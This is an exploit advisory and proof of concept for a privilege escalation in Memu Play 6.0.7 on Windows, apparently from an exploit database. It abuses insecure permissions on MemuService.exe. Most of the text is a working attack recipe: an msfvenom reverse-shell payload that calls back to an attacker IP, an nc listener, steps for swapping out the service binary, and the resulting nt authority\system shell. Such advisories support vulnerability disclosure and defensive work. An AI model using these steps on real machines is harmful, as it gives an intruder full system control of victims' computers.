Memu Play 6.0.7 Privilege Escalation

`# Exploit Title: Memu Play 6.0.7 - Privilege Escalation (PoC)  
# Date: 20/02/2019  
# Author: Alejandra SA!nchez  
# Vendor Homepage: https://www.memuplay.com/  
# Software Link: https://www.memuplay.com/download-en.php?file_name=Memu-Setup&from=official_release  
# Version: 6.0.7  
# Tested on: Windows 10 / Windows 7  
  
  
# Description:  
# Memu Play 6.0.7 suffers from Privilege Escalation due to insecure file permissions  
  
# Prerequisites  
# Local, Low privilege access with restart capabilities  
  
# Details  
# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.   
# A low privilege account is able to rename the MemuService.exe file located in this same path and replace   
# with a malicious file that would connect back to an attacking computer giving system level privileges   
# (nt authority\system) due to the service running as Local System.   
# While a low privilege user is unable to restart the service through the application, a restart of the   
# computer triggers the execution of the malicious file.  
  
  
C:\>icacls "C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe"  
C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe Everyone:(I)(F)  
BUILTIN\Administrators:(I)(F)  
BUILTIN\Users:(I)(F)  
NT AUTHORITY\SYSTEM:(I)(F)  
  
  
Successfully processed 1 files; Failed processing 0 files  
  
  
C:\>sc qc MEmuSVC  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: MEmuSVC  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
  
  
# Proof of Concept  
  
1. Generate malicious .exe on attacking machine  
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.130 LPORT=443 -f exe > /var/www/html/MemuService.exe  
  
2. Setup listener and ensure apache is running on attacking machine  
nc -lvp 443  
service apache2 start  
  
3. Download malicious .exe on victim machine  
Open browser to http://192.168.1.130/MemuService.exe and download  
  
4. Overwrite file and copy malicious .exe.  
Renename C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe > MemuService.bak  
Copy/Move downloaded 'MemuService.exe' file to C:\Program Files (x86)\Microvirt\MEmu\  
  
5. Restart victim machine  
  
6. Reverse Shell on attacking machine opens  
C:\Windows\system32>whoami  
whoami  
nt authority\system  
`